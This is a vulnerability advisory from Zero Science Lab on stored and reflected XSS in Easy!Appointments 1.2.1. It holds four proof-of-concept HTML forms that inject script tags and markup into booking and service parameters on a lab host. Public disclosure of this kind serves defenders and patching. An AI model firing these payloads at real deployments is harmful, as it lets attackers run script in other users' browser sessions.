112 lines
No EOL
5 KiB
Text
112 lines
No EOL
5 KiB
Text
Easy!Appointments v1.2.1 Multiple Stored XSS Vulnerabilities
|
|
|
|
|
|
Vendor: Alex Tselegidis
|
|
Product web page: http://www.easyappointments.org
|
|
Affected version: 1.2.1
|
|
|
|
Summary: Easy!Appointments is a highly customizable web application
|
|
that allows your customers to book appointments with you via the web.
|
|
Moreover, it provides the ability to sync your data with Google Calendar
|
|
so you can use them with other services. It is an open source project
|
|
and you can download and install it even for commercial use. Easy!Appointments
|
|
will run smoothly with your existing website, because it can be installed
|
|
in a single folder of the server and of course, both sites can share
|
|
the same database. Learn more about the project in the Features page.
|
|
|
|
Desc: The application suffers from multiple stored and reflected XSS
|
|
vulnerabilities. The issues are triggered when an unauthorized input
|
|
passed via multiple POST and GET parameters is not properly sanitized
|
|
before being returned to the user. This can be exploited to execute
|
|
arbitrary HTML and script code in a user's browser session in context
|
|
of an affected site.
|
|
|
|
Tested on: Apache/2.4.23 (Win32)
|
|
OpenSSL/1.0.2h
|
|
MariaDB-10.1.19
|
|
PHP/5.6.28
|
|
|
|
|
|
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
|
|
@zeroscience
|
|
|
|
|
|
Advisory ID: ZSL-2017-5442
|
|
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5442.php
|
|
|
|
|
|
20.10.2017
|
|
|
|
--
|
|
|
|
|
|
PoC:
|
|
|
|
{"name":"XSS1","description":"Description"}
|
|
|
|
<html>
|
|
<body>
|
|
<form action="http://10.211.55.3/easyappointments121/index.php/backend_api/ajax_save_service_category" method="POST">
|
|
<input type="hidden" name="csrfToken" value="f5300ab64a4fae7bc3e56f2502905459" />
|
|
<input type="hidden" name="category" value="{"name":"XSS1","description":"Description"}" />
|
|
<input type="submit" value="Submit request" />
|
|
</form>
|
|
</body>
|
|
</html>
|
|
|
|
---
|
|
|
|
<html>
|
|
<body>
|
|
<form action="http://10.211.55.3/easyappointments121/index.php/appointments/ajax_get_available_hours" method="POST">
|
|
<input type="hidden" name="csrfToken" value="f5300ab64a4fae7bc3e56f2502905459" />
|
|
<input type="hidden" name="service_id" value='"><script>alert(2)</script>' />
|
|
<input type="hidden" name="provider_id" value="85" />
|
|
<input type="hidden" name="selected_date" value="2017-11-30" />
|
|
<input type="hidden" name="service_duration" value="30" />
|
|
<input type="hidden" name="manage_mode" value="false" />
|
|
<input type="submit" value="Submit request" />
|
|
</form>
|
|
</body>
|
|
</html>
|
|
|
|
---
|
|
|
|
<html>
|
|
<body>
|
|
<form action="http://10.211.55.3/easyappointments121/index.php/appointments/ajax_get_available_hours" method="POST">
|
|
<input type="hidden" name="csrfToken" value="f5300ab64a4fae7bc3e56f2502905459" />
|
|
<input type="hidden" name="service_id" value="13" />
|
|
<input type="hidden" name="provider_id" value="85" />
|
|
<input type="hidden" name="selected_date" value="<marquee>" />
|
|
<input type="hidden" name="service_duration" value="30" />
|
|
<input type="hidden" name="manage_mode" value="false" />
|
|
<input type="submit" value="Submit request" />
|
|
</form>
|
|
</body>
|
|
</html>
|
|
|
|
---
|
|
|
|
<html>
|
|
<body>
|
|
<form action="http://10.211.55.3/easyappointments121/index.php/appointments/ajax_register_appointment" method="POST">
|
|
<input type="hidden" name="csrfToken" value="f5300ab64a4fae7bc3e56f2502905459" />
|
|
<input type="hidden" name="post_data[customer][last_name]" value="sdadsd" />
|
|
<input type="hidden" name="post_data[customer][first_name]" value="asdasd" />
|
|
<input type="hidden" name="post_data[customer][email]" value="asdasd@bbb.dd" />
|
|
<input type="hidden" name="post_data[customer][phone_number]" value="1112223333" />
|
|
<input type="hidden" name="post_data[customer][address]" value="" />
|
|
<input type="hidden" name="post_data[customer][city]" value="" />
|
|
<input type="hidden" name="post_data[customer][zip_code]" value="" />
|
|
<input type="hidden" name="post_data[appointment][start_datetime]" value=""><script>alert(3)</script>" />
|
|
<input type="hidden" name="post_data[appointment][end_datetime]" value="2017-11-30 16:00:00" />
|
|
<input type="hidden" name="post_data[appointment][notes]" value="" />
|
|
<input type="hidden" name="post_data[appointment][is_unavailable]" value="false" />
|
|
<input type="hidden" name="post_data[appointment][id_users_provider]" value="85" />
|
|
<input type="hidden" name="post_data[appointment][id_services]" value="13" />
|
|
<input type="hidden" name="post_data[manage_mode]" value="false" />
|
|
<input type="submit" value="Submit request" />
|
|
</form>
|
|
</body>
|
|
</html> |